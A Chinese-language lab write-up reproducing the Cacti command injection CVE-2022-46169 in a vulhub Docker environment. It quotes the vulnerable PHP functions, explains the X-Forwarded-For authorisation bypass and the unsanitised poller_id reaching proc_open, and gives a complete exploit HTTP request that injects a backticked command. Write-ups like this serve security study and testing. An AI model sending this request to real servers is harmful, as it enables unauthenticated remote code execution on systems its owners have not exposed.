复现cacti的RCE(CVE-2022-46169)

目录

漏洞版本

漏洞环境

漏洞点

漏洞利用


漏洞版本

Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

漏洞环境

参考链接:https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169

执行如下命令启动一个Cacti 1.2.22版本服务器:

复制代码
docker compose up -d

环境启动后,访问http://your-ip:8080会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。

实际上初始化的过程就是不断点击"下一步",直到安装成功:

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

选择的Graph Type是"Device - Uptime",点击创建:

漏洞点

该漏洞存在于remote_agent.php文件中。该文件无需身份验证即可访问。为了验证客户端是否被允许访问,remote_client_authorized需要调用以下函数:

复制代码
if (!remote_client_authorized()) {
	print 'FATAL: You are not authorized to use this service';
	exit;
}

此函数通过 检索客户端的 IP 地址get_client_addr,并通过 将此 IP 地址解析为相应的主机名gethostbyaddr。之后,验证poller表中是否存在与解析后的主机名对应的条目。如果找到这样的条目,则函数返回true,客户端获得授权:

复制代码
function remote_client_authorized() {
	// ...
	$client_addr = get_client_addr();
	// ...

	$client_name = gethostbyaddr($client_addr);
           // ...
	$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);

	if (cacti_sizeof($pollers)) {
		foreach($pollers as $poller) {
			if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
				return true;
			} elseif ($poller['hostname'] == $client_addr) {
				return true;
			}
		}
	}

	cacti_log("Unauthorized remote agent access attempt from $client_name ($client_addr)");

	return false;
}

由于该get_client_addr函数的实现,可以绕过此授权。

复制代码
function get_client_addr($client_addr = false) {
	$http_addr_headers = array(
		'X-Forwarded-For',
		'X-Client-IP',
		'X-Real-IP',
		'X-ProxyUser-Ip',
		'CF-Connecting-IP',
		'True-Client-IP',
		'HTTP_X_FORWARDED',
		'HTTP_X_FORWARDED_FOR',
		'HTTP_X_CLUSTER_CLIENT_IP',
		'HTTP_FORWARDED_FOR',
		'HTTP_FORWARDED',
		'HTTP_CLIENT_IP',
		'REMOTE_ADDR',
	);

	$client_addr = false;
	foreach ($http_addr_headers as $header) {
		if (!empty($_SERVER[$header])) {
			$header_ips = explode(',', $_SERVER[$header]);
			foreach ($header_ips as $header_ip) {
				if (!empty($header_ip)) {
					if (!filter_var($header_ip, FILTER_VALIDATE_IP)) {
						cacti_log('ERROR: Invalid remote client IP Address found in header (' . $header . ').', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
					} else {
						$client_addr = $header_ip;
						cacti_log('DEBUG: Using remote client IP Address found in header (' . $header . '): ' . $client_addr . ' (' . $_SERVER[$header] . ')', false, 'AUTH', POLLER_VERBOSITY_DEBUG);
						break 2;
					}
				}
			}
		}
	}

	return $client_addr;
}

以 开头的变量HTTP_可以被攻击者任意设置。攻击者可以通过提供标头来绕过身份验证Forwarded-For: 127.0.0.1。这样,该函数get_client_addr就会返回运行 Cacti 的服务器的 IP 地址。以下调用gethostbyaddr会将此 IP 地址解析为服务器的localhost,poller由于存在默认条目,该服务器将通过主机名检查。

绕过文件授权后remote_agent.php,攻击者可以触发不同的操作。其中一项操作称为polldata

复制代码
switch (get_request_var('action')) {
	case 'polldata':
		// ...
		poll_for_data();
		// ...
		break;

被调用函数poll_for_data检索一些请求参数,并poller_item从数据库中加载相应的条目。如果actionequals poller_item,则POLLER_ACTION_SCRIPT_PHP该函数proc_open用于执行 PHP 脚本:

复制代码
function poll_for_data() {
	global $config;

	$local_data_ids = get_nfilter_request_var('local_data_ids');
	$host_id        = get_filter_request_var('host_id');
	$poller_id      = get_nfilter_request_var('poller_id');
	$return         = array();

	$i = 0;

	if (cacti_sizeof($local_data_ids)) {
		foreach($local_data_ids as $local_data_id) {
			input_validate_input_number($local_data_id, 'local_data_id');

			$items = db_fetch_assoc_prepared('SELECT *
				FROM poller_item
				WHERE host_id = ?
				AND local_data_id = ?',
				array($host_id, $local_data_id));
			// ...
			if (cacti_sizeof($items)) {
				foreach($items as $item) {
					switch ($item['action']) {
					// ...
					case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
						// ...
						$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
						// ...

攻击者控制的参数$poller_id通过函数 检索get_nfilter_request_var,该函数允许任意字符串。此变量随后被插入到传递给 的字符串中proc_open,从而导致命令注入漏洞。例如,通过提供 ,``poller_id=`touch+/tmp/success```命令就会被执行。

漏洞利用

我们切换到攻击者的角色。作为攻击者,发送如下数据包:

复制代码
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


进入容器,命令执行成功